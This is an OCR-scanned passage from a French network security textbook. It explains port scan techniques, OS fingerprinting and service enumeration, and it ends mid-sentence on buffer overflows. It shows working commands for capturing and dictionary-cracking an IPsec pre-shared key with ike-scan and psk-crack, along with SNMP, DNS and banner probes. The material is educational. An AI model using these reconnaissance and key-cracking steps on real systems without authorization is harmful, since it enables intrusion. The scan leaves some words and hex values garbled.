L'attaque par balayage FIN 



Client 



Serveur 




■Paquet FIN- 



■ Paquet RST ou aucune reponse- 




Cette attaque necessite cependant d'attendre un certain delai pour considerer le port vise 
comme ouvert. Selon la bande passante disponible, ce delai peut generer un grand 
nombre de faux positifs. 

Attaque par balayage de Noel, ou Xmas 

Cette attaque consiste a « allumer » les drapeaux FIN, URG et PSH dans l'en-tete TCP 
(voir figure 2.6). Si le port du serveur vise est en ecoute, il ne reagit pas a la reception du 
paquet. Sinon, il renvoie un paquet RST. 



Figure 2.6 

L'attaque par balayage 
Xmas 



Client 



Serveur 




-Paquet avec FIN, URG, PSH- 



■ Paquet RST ou aucune reponse- 




Attaque par balayage full Xmas 

Dans ce balayage, tous les drapeaux de l'en-tete TCP sont actives, tels SYN, ACK, RST, 
FIN, URG et PSH. 

Le comportement du serveur est le meme que dans le cas du balayage Xmas. 

Attaque par balayage NULL 

Cette attaque se situe a 1' oppose du balayage Xmas puisqu'elle envoie un paquet sans 
aucun drapeau active. 

Le comportement du serveur est cependant le meme que dans le cas du balayage Xmas. 

Attaque par balayage ACK avec verification de la taille de la fenetreTCP 

Proche du balayage ACK, cette attaque offre la particularite de detecter aussi bien les 
ports ouverts que ceux qui sont filtres ou non par un equipement reseau. 

Elle s'appuie sur une anomalie de la couche TCP/IP de la plupart des systemes d' exploi- 
tation, tels que certaines versions de AIX, Amiga, BeOS, BSDI, Cray, Tru64 UNIX, DG/ 
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UX, OpenVMS, Digital UNIX, FreeBSD, HPUX, OS/2, IRIX, MacOS, NetBSD, 
OpenBSD, OpenStep, QNX, Rhapsody, SunOS 4.X, Ultrix, VAX et VxWorks. 

Tous ces systemes defmissent une valeur de taille de fenetre TCP en fonction de l'etat du 
port (voir figure 2. 7). 



Figure 2.7 

L'attaque par balayage 
ACK avec verification de la 
taille de la fenetre 



Client 




-Paquet ACK- 



Paquet RST 

-Window Size >0 = port ouvert- 

Window Size =0 = port ferme 



Serveur 




Selon la valeur de la taille de la fenetre du paquet avec le drapeau RST recu en reponse, 
le port est considere comme ecoutant ou non. Si celle-ci est superieure a zero, le port 
ecoute ; si elle est egale a zero, le port n'ecoute pas. 

Attaque par balayage UDP 

Cette attaque a pour but de detecter les services reseau qui ecoutent sur un port UDP. Elle 
s'appuie sur le fait que la reception d'un paquet UDP sur un port en ecoute ne doit pas 
engendrer de reponse, alors que la reception sur un port ferme doit engendrer le renvoi 
d'un paquet ICMP « port inaccessible ». 

La figure 2.8 illustre cette attaque. 



Figure 2.8 

L'attaque par balayage 
UDP 



Client 



Serveur 




-Paquet UDP- 



-ICMP port inaccessible ou aucune reponse- 




De nombreux systemes d' exploitation ne suivent cependant pas ces regies et ne respon- 
dent pas toujours avec un paquet ICMP. UDP n'etant pas de surcroit un protocole flable 
par nature, ce balayage peut engendrer un fort nombre de faux positifs. 

Une variante de cette technique consiste a envoyer un paquet UDP vers le port destina- 
tion mis a zero. Ce port ne pouvant jamais etre en ecoute, un paquet ICMP « port 
inaccessible » est generalement renvoye. Dans le cas contraire, elle revele la presence 
d'un equipement filtrant. 

Attaque par balayage IP 

Cette attaque vise a detecter les protocoles IP fournis par le serveur vise. Elle consiste a 
envoyer un paquet IP brut {raw) ne contenant dans son en-tete IP que le champ Protocole 
IP. Ce paquet est alors envoye vers chaque protocole du serveur (voir figure 2.9). 
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Figure 2.9 

L'attaque par balayage du 
protocole IP 



Client 




Paquet brut (raw) 
sans en-tete de protocole 



-ICMP protocole inaccessible - 



Serveur 




En cas de reponse « protocole inaccessible » par un paquet ICMP, c'est que le protocole 
n'est pas disponible. Sinon, le serveur sait communiquer sur le protocole vise. 

La presence d'un equipement filtrant bloquerait toutes les reponses possibles et ferait 
croire a l'outil de balayage que le serveur sait converser sur tous les protocoles, comme 
le montre le tableau 2.1. 



Tableau 2.1 Valeurs du champ protocole dans une trame IP 






HOPOPT, IPv6 Hop-by-Hop Option 




1 


ICMP (Internet Control Message Protocol) 




2 


IGAP (IGMP for user Authentication Protocol) 
IGMP (Internet Group Management Protocol) 
RGMP (Router-port Group Management Protocol) 




3 


GGP (Gateway to Gateway Protocol) 




4 


IP in IP encapsulation 




5 


ST, Internet Stream Protocol 




6 


TCP (Transmission Control Protocol) 




7 


UCL, CBT 




8 


EGP (Exterior Gateway Protocol) 




9 


IGRP (Interior Gateway Routing Protocol) 




10 


BBN RCC Monitoring 




11 


NVP (Network Voice Protocol) 




12 


PUP 




13 


ARGUS 




14 


EMCON, Emission Control Protocol 




15 


XNET, Cross Net Debugger 




16 


Chaos 




17 


UDP (User Datagram Protocol) 




27 


RDP (Reliable Data Protocol) 




28 


IRTP (Internet Reliable Transaction Protocol) 




29 


ISO Transport Protocol Class 4 




35 


IDPR (Inter-Domain Policy Routing Protocol) 




36 


XTP (Xpress Transfer Protocol) 




37 


Datagram Delivery Protocol 
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Tableau 2.1 Valeurs du champ protocole dans une trame IP (suite) 



38 


I DPR, Control Message Transport Protocol 


39 


TP++ Transport Protocol 


40 


IL Transport Protocol 


41 


IPv6 over IPv4 


42 


SDRP (Source Demand Routing Protocol) 


43 


IPv6 Routing header 


44 


IPv6 Fragment header 


45 


IDRP (Inter-Domain Routing Protocol) 


46 


RSVP (Reservation Protocol) 


47 


GRE (General Routing Encapsulation) 


48 


MHRP (Mobile Host Routing Protocol) 


49 


BNA 


50 


ESP (Encapsulating Security Payload) 


51 


AH (Authentication Header) 


52 


Integrated Net Layer Security TUBA 


53 


IP with Encryption 


54 


NARP (NBMA Address Resolution Protocol) 


55 


Minimal Encapsulation Protocol 


56 


TLSP (Transport Layer Security Protocol) using Kryptonet key management 


57 


SKIP 


... 


... 



Une variante de cette attaque consiste a envoyer au serveur des paquets avec des en-tetes IP 
incorrects. Selon les RFC, une machine doit verifier l'integrite des champs Numero de 
version et Checksum des paquets qu'elle re^oit, alors qu'un routeur doit simplement verifier 
le checksum. Si une machine re£oit un paquet avec des valeurs erronees, elle se doit de 
renvoyer un paquet ICMP « probleme de parametre ». Cependant, certaines implementations 
de routeurs n'ont pas le comportement attendu et faussent les resultats d'un tel balayage. 

Attaques permettant de prendre I'empreinte reseau du systeme 

Parmi les informations que doit recolter un pirate, celles concernant le systeme d' exploi- 
tation du serveur vise sont primordiales. Diverses techniques d'attaques d'une efficacite 
variable permettent d'y parvenir. 

Pour l'utilisateur moyen, la seule methode permettant de detecter le systeme d'exploita- 
tion consiste a examiner les bannieres des services reseau, pour peu que celles-ci fournis- 
sent ce renseignement. Cependant, grace aux specificites des implementations de la pile 
TCP/IP de chaque constructeur, il est possible de determiner avec une bonne precision le 
systeme d' exploitation d'un systeme. 
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LempreinteTCP 

Lors de l'echange de paquets TCP pour l'ouverture d'une session entre deux ordinateurs, 
des attributs sont dermis par la pile TCP/IP de chaque systeme d' exploitation. Sachant 
que chaque implementation d'une pile IP/TCP est generalement specifique du systeme 
d' exploitation considere, il est possible de detecter ce dernier par un court echange de 
paquets TCP. 

Pour fonctionner a partir du protocole TCP, cette methode necessite que le serveur vise 
offre un port en ecoute et un port qui n' ecoute pas et qui n'est bien sur pas protege par un 
equipement flltrant. 

Voici quelques-unes des techniques qui permettent de determiner le systeme d' exploita- 
tion cible : 

• Sondage FIN. Contrairement a ce que definit la RFC 793, certaines versions de 
Windows, BSDi, Cisco IOS, HP/UX, MVS et Irix repondent par un paquet RST a des 
paquets FIN envoyes vers un port en ecoute. 

• Sondage de l'en-tete TCP boguee. Certains systemes d' exploitation, tels que Linux 
dans des versions inferieures a la 2.0.35, repondent a l'envoi d'un paquet TCP avec un 
drapeau inconnu (valeur egale a 64 et 128) par un paquet avec ce meme drapeau. 

• Sondage avec des paquets IP contenant des valeurs invalides. A la reception d'un 
paquet IP avec des valeurs invalides dans les champs de l'en-tete, les systemes 
d' exploitation tels que AIX, HP/UX ou Digital Unix ne repondent pas, alors qu'ils 
devraient renvoyer un paquet ICMP « destination inaccessible ». 

• Sondage avec un numero de sequence initial TCP. Lors d'une reponse a une rupture 
de session, le numero de sequence initial d'un paquet TCP est determine de fa^on 
differente selon le systeme d' exploitation. II en ressort cinq groupes principaux : 

Les statiques, dont la valeur du numero de sequence ne change jamais. C'est le cas de 
certains repeteurs 3Com ou des imprimantes LaserWriter d' Apple. 

Les traditionnels 64K (nombre de vieux systemes Unix), dont le numero de sequence 
est toujours egal a 65535. 

Les Windows, qui utilisent un modele s'appuyant sur le temps, en incrementant le 
numero par une valeur fixe a chaque nouvel intervalle de temps atteint. 

Les aleatoires, pour lesquels les numeros de sequence sont incrementes aleatoirement. 
C'est le cas avec des versions recentes de Solaris, IRIX, FreeBSD, Digital Unix, 
Cray, etc. 

Les vrais aleatoires (Linux 2.0.x, Open VMS, les AIX recents, etc.), dont le numero de 
sequence est genere aleatoirement sans logique. 

Des sous-groupes peuvent en outre etre crees au sein d'un groupe. Par exemple, dans le 
groupe des aleatoires, differents algorithmes de generation sont communs a plusieurs 
systemes d' exploitation et permettent ainsi d'ameliorer la precision de l'empreinte TCP : 





Tableaux de bord de la securite reseau 



• Sondage avec le bit de non-fragmentation. Certains systemes d' exploitation initiali- 
sed le bit de non-fragmentation arm que les paquets qu'ils envoient ne soient pas frag- 
ments. La lecture de cet attribut permet de realiser une discrimination des systemes 
d' exploitation. Un systeme d' exploitation tel que Sun Solaris active ce bit, par 
exemple, alors que HP-UX 10.30 et 1 l.Ox et AIX 43.x ne l'activent pas. 

• Sondage par la taille de la fenetre initiate TCP. II s'agit ici de recuperer la valeur de 
la taille de la fenetre TCP utilisee dans les paquets en retour. Cette valeur, qui est gene- 
ralement constante, est parfois flxee a d'autres valeurs par certains systemes d' exploi- 
tation. 

• Sondage par la valeur du ACK. Lors de l'envoi d'un paquet avec les drapeaux FIN, 
PSH et URG actives vers un port qui n'ecoute pas, la plupart des systemes d'exploita- 
tion repondent en initialisant la valeur du ACK a celle du numero de sequence, alors 
que Windows l'initialise a la valeur du numero de sequence increments de 1. 

• Sondage par les drapeaux TCP. Parce que chaque systeme d' exploitation a une 
implementation unique de la pile TCP/IP, l'echange de messages en faisant varier les 
drapeaux TCP permet de constituer une source d' information solide sur le systeme 
d' exploitation du systeme vise. 

• Resistance a l'inondation SYN. L'inondation SYN est une technique de deni de 
service d'une pile IP/TCP corriges depuis par les systemes d' exploitation. Cependant, 
le comportement peut etre different d'un systeme d' exploitation a un autre si on envoie 
un certain nombre de paquets (avec le drapeau SYN) usurpes sans reponse suivis par 
une connexion normale. Les champs du paquet de retour peuvent etre alors differents 
pour chaque systeme d' exploitation. 

L'empreinte ICMP 

TCP n'est pas le seul protocole permettant de realiser une empreinte d'un systeme. ICMP 
(Internet Control Message Protocol) permet de gerer les informations relatives aux 
erreurs des systemes connectes par des sessions IP mais aussi de sonder un reseau arm de 
determiner les caracteristiques generates des systemes qui le composent. 

Les messages de controle ICMP sont transportes sur le reseau sous la forme de paquets 
IP. Ofir Arkin a illustre dans ICMP Usage In Scanning v3.0 un grand nombre de techni- 
ques s'appuyant sur le protocole ICMP, notamment les suivantes : 

• Sondage par le champ TTL dans les paquets ICMP. Selon la pile TCP/IP qui emet 
un paquet ICMP (en reponse a un paquet echo-request, par exemple), la valeur choisie 
pour le champ TTL (Time To Live) varie. Ces valeurs sont generalement 255, 128, 64 
ou 32. L' analyse de cette valeur permet d'affiner l'hypothese sur le systeme d'exploi- 
tation. 

• Sondage par le controle du debit des messages d'erreur ICMP. Certaines piles 
TCP/IP des systemes d' exploitation limitent le debit des differents messages d'erreur 
qu'elles renvoient. II est des lors possible d' envoy er des paquets UDP vers un port qui 
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n'est pas en ecoute et de compter le nombre de messages regus en retour dans un laps 
de temps donne. 

Sondage par les reponses ICMP. II existe de telles differences d' implementation des 
messages ICMP, qu'il est possible de determiner le systeme d' exploitation en analy- 
sant des echanges a base de message ICMP. 

Le tableau 2.2 recapitule tous les types de codes vehicules par le protocole ICMP. 



Tableau 2.2 Types et codes des messages ICMP 



Type 


Code 


Message 


Signification du message 








Reponse a ECHO 


Envoie un paquet suite a la reception d'un message ECHO. 


3 





Destinataire inaccessible 


Le reseau n'est pas accessible. 


3 


1 


Destinataire inaccessible 


La machine n'est pas accessible. 


3 


2 


Destinataire inaccessible 


Le protocole n'est pas accessible. 


3 


3 


Destinataire inaccessible 


Le port n'est pas accessible. 


3 


4 


Destinataire inaccessible 


Fragmentation necessaire mais interdite 


3 


5 


Destinataire inaccessible 


Echec d'acheminement 


3 


6 


Destinataire inaccessible 


Reseau inconnu 


3 


7 


Destinataire inaccessible 


Machine inconnue 


3 


8 


Destinataire inaccessible 


Machine non connectee au reseau 


3 


9 


Destinataire inaccessible 


Communication avec le reseau interdite 


3 


10 


Destinataire inaccessible 


Communication avec la machine interdite 


3 


11 


Destinataire inaccessible 


Reseau inaccessible pour ce service 


3 


12 


Destinataire inaccessible 


Machine inaccessible pour ce service 


3 


13 


Destinataire inaccessible 


Communication interdite (filtrage) 


4 





Controle de flux 


Un routeur peut etre amene a detruire un paquet s'il manque de 
memoire. Dans ce cas, il emet ce message a destination de la source du 
paquet detruit. 


5 





Redirection pour un reseau 


Lorsqu'un routeur remarque que la route d'un reseau entier n'est pas 
optimale, il envoie aux notes du reseau I'adresse du routeur, diminuant 
de ce fait le chemin d'acheminement. 


5 


1 


Redirection pour un note 


Lorsqu'un routeur remarque que la route d'un note n'est pas optimale, il 
envoie a I'hote I'adresse du routeur, diminuant de la sorte le chemin 
d'acheminement. 


5 


2 


Redirection pour un reseau et 
un service donne 


Lorsqu'un routeur remarque que la route d'un reseau entier n'est pas 
optimale pour un service donne, il envoie aux notes du reseau I'adresse 
du routeur, diminuant de ce fait le chemin d'acheminement. 


5 


3 


Redirection pour un note et un 
service donne 


Lorsqu'un routeur remarque que la route d'un note n'est pas optimale 
pour un service donne, il envoie a I'hote I'adresse du routeur, diminuant 
de ce fait le chemin d'acheminement. 


8 





Demande d'ECHO 


Envoi d'un paquet avec demande de reponse afin de confirmer la pre- 
sence d'un note 
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Tableau 2.2 Types et codes des messages ICMP (suite) 

1 1 Duree de vie ecoulee Lorsqu'un routeur traitant un paquet est amene a mettre a jour le champ 

Duree de vie de I'en-tete IP et que ce champ est a 0, le paquet doit etre 
detruit. Le routeur peut prevenir I'hote source de cette destruction. 

1 1 1 Temps limite de reassemblage Si un hote reassemblant un paquet ne peut terminer cette operation a 

du fragment depasse cause de fragments manquants au bout de la temporisation de reassem- 

blage, il doit detruire le paquet en cours de traitement et avertir I'hote 
source en emettant un message. 



12 





Errone 


Ce message est envoye lorsqu'un champ d'un en-tete est errone. La 
position de I'erreur est retournee. 


13 





Marqueur temporel 


Une machine demande a une autre son heure et sa date systeme (uni- 
verselle). 


14 





Reponse a un marqueur tem- 
porel 


La machine receptrice donne son heure et sa date systeme afin que la 
machine emettrice puisse determiner le temps de transfert des donnees. 


15 





Demande d'adresse reseau 


Ce message permet de demander le numero de reseau sur lequel est 
situe un hote. 


16 





Reponse d'adresse reseau 


Ce message repond au message precedent. 



Par exemple, HP-UX 10.20, AIX, Ultrix et OpenVMS repondent a des demandes 
d' information, avec la particularity pour Ultrix et OpenVMS de repondre a une 
demande de masque d'adresse, contrairement a HP-UX et AIX, qui rejettent le paquet. 

• Sondage par les donnees de debogage associees a un message ICMP. Dans la defi- 
nition du protocole ICMP, il est indique que les messages d'erreur peuvent inclure des 
donnees associees au message original ayant cause I'erreur. Ainsi, lors d'un message 
de port inaccessible, la plupart des systemes d' exploitation renvoient un en-tete IP et 
8 octets supplementaires. Cependant, Solaris ajoute encore un bit et Linux encore plus 
de donnees. II est de la sorte possible de detecter ces systemes d' exploitation, meme 
s'ils n'ecoutent sur aucun port. 

• Sondage par Pintegrite du message d'erreur ICMP renvoye. Sachant qu'un 
message ICMP de port inaccessible inclut une partie du message original, certaines 
machines utilisent l'en-tete du paquet re^u comme une zone de travail pour creer le 
paquet a renvoyer. Ainsi, certains AIX ou BSDI renvoient un paquet avec un champ 
« longueur totale » d'une valeur trop grande de 20 octets, tandis que d'autres renvoient 
un paquet avec un checksum incorrect ou egal a 0. 

• Sondage par type de service. Au sein d'un paquet ICMP d'erreur du a un port inac- 
cessible, il existe un champ « type de service ». Dans la plupart des piles TCP/IP, la 
valeur de ce champ est egale a 0, mais Linux l'initialise a OxCO. 

Attaques permettant d'interroger des services reseau particuliers 

Certaines attaques visent a recolter des informations specifiques au niveau des services, 
notamment les suivants. 
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Attaque sur le service Telnet 

Lorsqu'un client etablit une connexion Telnet avec un serveur, le protocole commence 
par negocier des options d'affichage. Parmi ces options, on trouve la largeur des lignes, 
la taille des pages, 1' interpretation du retour chariot, etc. 

Le pirate peut done obtenir la liste des options du serveur avec lequel il dialogue. Par 
exemple, les informations emises par defaut par un serveur Linux d'une version infe- 
rieure a 2.2.16 sont les suivantes : 

Chaine de caracteres : y A Xy y#y' 

Soit en valeurs ordinales :255 253 24 255 253 32 255 253 35 255 253 39 
Options telnet correspondantes : IAC DO TELOPT_TTYPE IAC DO TELOPT_LINEMODE IAC 

DO TELOPT_XDISPLOC IAC DO TELOPT_NEW_ENVI RON 

Notons que d'autres systemes d' exploitation proposent exactement la meme sequence 
d' options, ce qui rend leur discrimination plus difficile. 

Attaque sur le service IPsec 

La suite de securite IPsec a ete definie au niveau 3 afin de renforcer la securite du proto- 
cole IP. Cette suite est principalement utilisee pour creer des reseaux prives virtuels au 
travers de tunnels authentifies et chiffres. 

Bien que ces tunnels offrent un niveau de securite important, des outils permettent de 
recolter des informations precieuses sur leur etat. 

Par exemple, l'outil ike-scan permet de dialoguer avec un acces IPsec et de connaitre les 
elements negocies par 1' acces par defaut, comme l'algorithme de chiffrement 3DES, une 
authentification fondee sur le protocole RSA, etc. : 

$ ike-scan 10.16.2.2 

Starting ike-scan 1.6 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.16.2.2 

Main Mode Handshake returned SA=(Enc=3DES Hash=SHAl 

Auth=RSA_Sig Group=2:modpl024 LifeType=Seconds LifeDuration(4)=0x00007080) 
implementation guest: Firewall-1 NG AI R54 

Dans le cas d'une authentification fondee sur les secrets partages et en mode dit agressif, 
il est possible de recuperer un hash de la cle partagee dans les echanges de messages 
utilises pour etablir un tunnel IPsec. 

Une fois le hash de la cle recupere, il est possible de lancer une attaque par dictionnaire 
avec l'outil psk-crack, afin de tenter de casser la cle partagee, comme dans 1' exemple 
suivant avec la cle partagee "mar got" : 

$ ike-scan --aggressive --id=denis --pskcrack=denis.psk 10.16.2.2 

Starting ike-scan 1.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 

10.16.2.2 Aggressive Mode Handshake returned 

SA=(Enc=3DES Hash=SHAl Auth=PSK Group=2:modpl024 LifeType=Seconds 

Li feDurati on (4) =0x00007080) 

KeyExchange(128 bytes) 

Nonce(20 bytes) 
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ID(Type=ID_IPV4_ADDR, Value=10. 16.2.2) 
Hash(20 bytes) 

$ psk-crack denis.psk 

Starting psk-crack in dictionary cracking mode 

key "margot" matches SHA1 hash If074be2ce5hjhj8aea49a4f4fb7752f9fe33670 

Ending psk-crack: 10615 iterations in 0.053 seconds 

Attaque sur les bannieres 

La plupart des services reseau fonctionnent avec le protocole TCP. A ce titre, ils sont 
accessibles via une simple commande Telnet, et des informations peuvent etre recuperees 
pour identifier le systeme. 

Le protocole SMTP (Simple Mail Transfer Protocol), qui ecoute generalement sur le port 
25/TCP, offre une banniere a quiconque se presente sur ce port. En voici un exemple 
typique : 



i 



220 machine. domaine ESMTP Solaris 8 Sendmail 8.13.1/8.13.1; Sat, 27 Aug 2005 
10:17:03 +0200 (CEST) 



Nous constatons que la banniere indique non seulement le systeme d' exploitation, mais 
egalement le numero de version du programme gestionnaire du protocole SMTP (Send- 
mail) et de son flchier de configuration. 

De la meme maniere que SMTP, les serveurs Web se montrent d'une extreme complai- 
sance en revelant de precieuses informations, comme dans 1' exemple suivant : 

$ telnet www.xxx.yyy 80 
Trying . . . 

Connected to www.xxx.yyy. 
Escape character is <A ] ' . 
HEAD / HTTP/1.0 

HTTP/1.1 200 OK 

Server: Sun Java System Web Server 6.1 

Date: Sat, 27 Aug 2005 08:29:27 GMT 

P3p: policyref="http://www.xxx.yyy/p3p/P3P_Policy.xml", CP="CA0 DSP COR CUR ADMa 

DEVa TAIa PSAa PSDa CONi TELi OUR SAMi PUBi IND PHY 0NL PUR COM NAV INT DEM CNT 

STA POL PRE GOV" 
Set-Cookie: SUN_ID=82. 224. 1.141: 230061125131367; EXPIRES=Wednesday , 

31-Dec-2025 23:59:59 GMT; D0MAIN=.sun .com; PATH=/ 
Content-Type: text/html ;charset=IS0-8859-l 
Content-Length: 8259 

Set-Cookie: JSESSI0NID=BlE78786CF60F947E9D9B0058A6F456C.tomcat5;Path=/ 
ETag: "8259-1121204800000" 
Last-Modified: Tue, 12 Jul 2005 21:46:40 GMT 
Connection: close 

Connection closed by foreign host. 
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Nous constatons que le type et la version du serveur sont indiques, mais egalement qu'il 
s'appuie sur un module Tomcat (Java pour serveur HTTP). Bien d'autres informations 
sont fournies telles que cookies, etc. 



Outils d'extraction d'informations 

Quand le serveur reseau n'est pas interrogeable par le biais d'une connexion TCP, 
certains outils permettent d'obtenir des renseignements. Nous ne parlons pas ici des 
outils d' analyse des vulnerabilites, mais simplement d' outils capables de communiquer 
avec le serveur reseau selon un protocole particulier. 

A titre d'exemple, SNMP (Simple Network Management Protocol) est une veritable 
mine d'informations sur les systemes de flchiers, les processus en cours ou les details 
materiels du serveur (memoire, processeur, etc.). 

Voici un extrait d'une reponse SNMP a une requete d'extraction utilisant la communaute 
public comme authentiflant d'acces : 

$ snmpwalk -v 1 -c public -m ALL machine.domaine 
SNMPv2-MIB::sysDescr.O = STRING: FreeBSD machine.domaine 4.11-RELEASE 



FreeBSD 4.11-RELEASE #0: Tue Fe i 386 
[snip] 
RFC1213-MIB::ifDescr.l = STRING: "xlO" 
RFC1213-MIB: :ifDescr.2 = STRING: "loO" 
[snip] 

hrFSMountPoint.l = STRING 
hrFSMountPoint.2 = STRING 
hrFSMountPoint.3 = STRING 
hrFSMountPoint.4 = STRING 



HOST-RESOURCES-MIB 

HOST-RESOURCES-MIB 

HOST-RESOURCES-MIB 

HOST-RESOURCES-MIB 

[snip] 

HOST-RESOURCES-MIB 

HOST-RESOURCES-MIB 

HOST-RESOURCES-MIB 



/" 

/tmp" 
/var" 
/usr" 



hrSWRunPath.l = STRING: "init" 
hrSWRunPath. 81192 = STRING: "perl 5 .8 . 6" 
hrSWRunPath. 81215 = STRING: "snmpwalk" 



[snip] 

HOST-RESOURCES-MIB: :hrSWRunParameters . 1 = STRING: "--" 

HOST-RESOURCES-MIB: :hrSWRunParameters. 81192 = STRING: "-c rrdtool -buildgraph > 
/dev/null" 

Dans le meme esprit, la commande dig permet, comme ci-dessous, d'interroger un 
service DNS (Domain Name Service) arm d'obtenir des informations sur la version du 
serveur : 

# dig @ns. serveur. domaine version. bind chaos txt 

; <<>> DiG 8.3 <<>> @ ns. serveur. domaine version. bind chaos txt 

; (1 server found) 

[snip] 

;; ANSWER SECTION: 

VERSION. BIND. OS CHAOS TXT "8.3.7-REL" 

;; Total query time: 84 msec 
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FROM: cl ient.serveur.domaine to SERVER: ns.serveur.domaine 
WHEN: Sat Sep 17 09:30:57 2005 
MSG SIZE sent: 30 rcvd: 64 



Attaques permettant de penetrer le systeme 

Les attaques precedentes ne visent qu'a obtenir des informations. Avec ces donnees, le 
pirate dispose d'une liste des points d'entree du systeme vise, qu'il peut ensuite exploiter 
pour tenter de le penetrer. 

Avant de detailler 1' exploitation effective d'une vulnerability, rappelons les faiblesses les 
plus courantes exploitees par les attaques des systemes reseau. 

Attaques sur les faiblesses des systemes reseau 

Les attaques systeme s'appuient sur divers types de faiblesses, dont il est possible de 
dresser une typologie. 

Faiblesses d'authentification 

II est frequent de trouver au sein des entreprises des comptes utilisateur generiques, stan- 
dardises par des mots de passe triviaux et associes a des droits d'acces permissifs. 

Un pirate peut commencer son intrusion non par la recherche de failles exploitables mais 
simplement par des tentatives iteratives de penetration. Celles-ci peuvent commencer par 
les comptes oracle, admin, toor, Sybase, Solaris, linux, etc., associes a des mots de passe 
identiques au nom du compte. 

Quant aux mots de passe des constructeurs, il sufflt de se rendre sur le site http:// 
www.google.fr et de rechercher « default password » pour se faire une idee du laxisme 
ambiant. 

Faiblesses de configuration 

La configuration des systemes reseau est critique. Elle doit done suivre des regies strictes 
d' implementation afin d'eviter que le reseau ne joue un role de rebond lors d'attaques 
eventuelles. 

Une configuration adequate doit eviter que les systemes ne soient accedes par des acteurs 
non autorises. 

Les erreurs de configuration peuvent etre de plusieurs natures, incluant l'erreur humaine. 

Faiblesses des langages 

Un langage informatique a pour objectif de decrire les actions consecutives qu'un ordina- 
teur doit executer afin de construire un programme informatique. 
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L'assembleur, le premier langage informatique utilise, depend etroitement du type de 
processeur (chaque type de processeur peut avoir son propre langage machine). Ainsi, un 
programme developpe pour un systeme ne peut etre porte sur un autre sans une revue de 
son code. 

Les langages informatiques utilises de nos jours peuvent grossierement se classer en trois 
categories, les langages interpretes, les langages compiles et les langages hybrides, 
comme rappele au tableau 2.3 : 

• Un programme ecrit dans un langage « interprets » doit etre traduit pour etre rendu 
intelligible par le processeur. Un programme ecrit dans un langage interprete a done 
besoin d'un programme auxiliaire, l'interpreteur, pour traduire au fur et a mesure les 
instructions du programme. 

• Un programme ecrit dans un langage « compile » est traduit une fois pour toutes par un 
programme annexe, le compilateur, afln de generer un nouveau fichier autonome, 
n'ayant plus besoin d'un programme autre que lui pour s'executer. On dit que ce fichier 
est executable. Un programme ecrit dans un langage compile a pour avantage de ne plus 
necessiter, une fois compile, de programme annexe pour s'executer. De plus, la traduc- 
tion etant faite une fois pour toutes, il est plus rapide a 1' execution. II est toutefois moins 
souple qu'un programme ecrit avec un langage interprete, car, a chaque modification du 
fichier source (fichier intelligible par l'homme et qui doit etre compile), il faut recom- 
piler le programme pour que les modifications soient prises en compte. 

• Certains langages, comme LISP, Java, Python, etc., appartiennent en quelque sorte aux 
deux categories, car le programme ecrit avec ces langages peut, dans certaines condi- 
tions, subir une phase de compilation intermediate vers un fichier ecrit dans un 
langage non intelligible (different du fichier source) et non executable (necessitant un 
interpreteur). Les applets Java, petits programmes inseres parfois dans les pages Web, 
sont des flchiers qui sont compiles mais que Ton ne peut executer qu'a partir d'un 
navigateur Internet. 

Tableau 2.3Typologie des langages les plus utilises 



Langage 


Domaine d'application principal 


Type 




ADA 


Temps reel 


langage compile 




C 


Programmation systeme 


langage compile 




C++ 


Programmation systeme objet 


langage compile 




Cobol 


Gestion 


langage compile 




Fortran 


Calcul 


langage compile 




Java 


Programmation orientee Internet 


langage hybride 




LISP 


Intelligence artificielle 


langage hybride 




Pascal 


Enseignement 


langage compile 




Prolog 


Intelligence artificielle 


langage interprete 




Perl 


Traitement de chaines de caracteres 


langage interprete 
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De maniere generale, le langage utilise pour ecrire un programme doit tenir compte de 
nombreux parametres, tant au niveau de l'efflcacite que de la securite. De plus, la gestion 
de la memoire, la gestion des exceptions ainsi que la gestion des pointeurs sont des sour- 
ces importantes de programmation si elles ne sont pas masquees et gerees par le langage. 

Le langage Java gere par conception ces diverses sources d'erreur, notamment des diffe- 
rentes fa^ons suivantes : 

• Execution dans le processus de la machine virtuelle : cela garantit generalement un 
espace d'adressage memoire limite en lecture et en ecriture, voire un jeu d' instructions 
limite. II limite l'impact contre les erreurs fatales d'un programme en s'assurant que 
celui-ci affecte le processus de la machine virtuelle et non le systeme d' exploitation. 

• Typage fort : un objet ne peut etre manipule qu'au travers de son interface. En interdi- 
sant les conversions (transtypage ou cast) sauvages, Java garantit l'integrite de l'etat 
(des donnees) d'un objet, moyennant un developpement vertueux avec des attributs 
prives, par exemple. D'une maniere generale, 1'acces aux donnees est controle par 
l'interface du type de ces donnees, a l'exception malheureuse des classes internes 
(inner classes). Cette securite permet d'autoriser plusieurs flots d'execution 
(code + threads) a partager le meme espace d'adressage, ce qui est plus performant que 
d'executer plusieurs applications dans des espaces d'adressage differents ou d'utiliser 
une zone d'echange commune. 

• Modificateurs d'acces (private, protected, final) : a nouveau, ceux-ci permettent a 
plusieurs applications de cooperer dans le meme espace d'adressage de maniere securisee. 

• Objets constants : Java offre diverses classes d'objets constants (non modifiables ou 
immutables), telles que les chaines de caracteres (String) ou les wrappers de types 
simples (Integer, Long, Float, etc.). Cela permet de retourner un objet en lecture seule 
(la modification d'une chaine retournee ne doit pas modifier la chaine d'origine, par 
exemple). On peut voir les objets constants comme des objets gardes n'autorisant que 
la lecture. 

• Tableaux a limites controlees : un tableau est presque un objet, dont la lecture et la 
modification du contenu sont controles afin d'eviter les acces memoire illegaux. 

Bien que les langages evoluent et integrent de plus en plus de fonctions de securite, ils 
restent vulnerables a de nombreuses attaques. 

Faiblesses de programmation 

Le langage utilise pour ecrire un programme doit tenir compte de nombreux parametres, 
tant au niveau de l'efflcacite que de la securite. De plus, la gestion de la memoire, des 
exceptions et des pointeurs est une source importante de dangers si elle n'est pas 
masquee par le langage. 

Les depassements de capacite (buffer overflow) sont exploitees depuis les debuts de 
l'architecture de Von Neuman et ont gagne en notoriete avec le ver Morris en 1988. La 
plupart des systemes informatiques modernes utilisent une pile pour passer les arguments 
aux procedures et stocker les variables locales. Le pointeur de pile est un registre qui 
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reference la position courante du sommet de la pile. Etant donne que cette valeur change 
constamment au fur et a mesure que de nouvelles valeurs sont ajoutees au sommet de la 
pile, beaucoup d' implementations fournissent un pointeur de structure, qui est positionne 
dans le voisinage du debut de la structure de la pile de fa^on que les variables locales 
soient plus facilement adressables. 

L'adresse de retour des appels de fonction est aussi stockee dans la pile, ce qui occa- 
sionne des depassements de pile. Le fait de faire deborder une variable locale dans une 
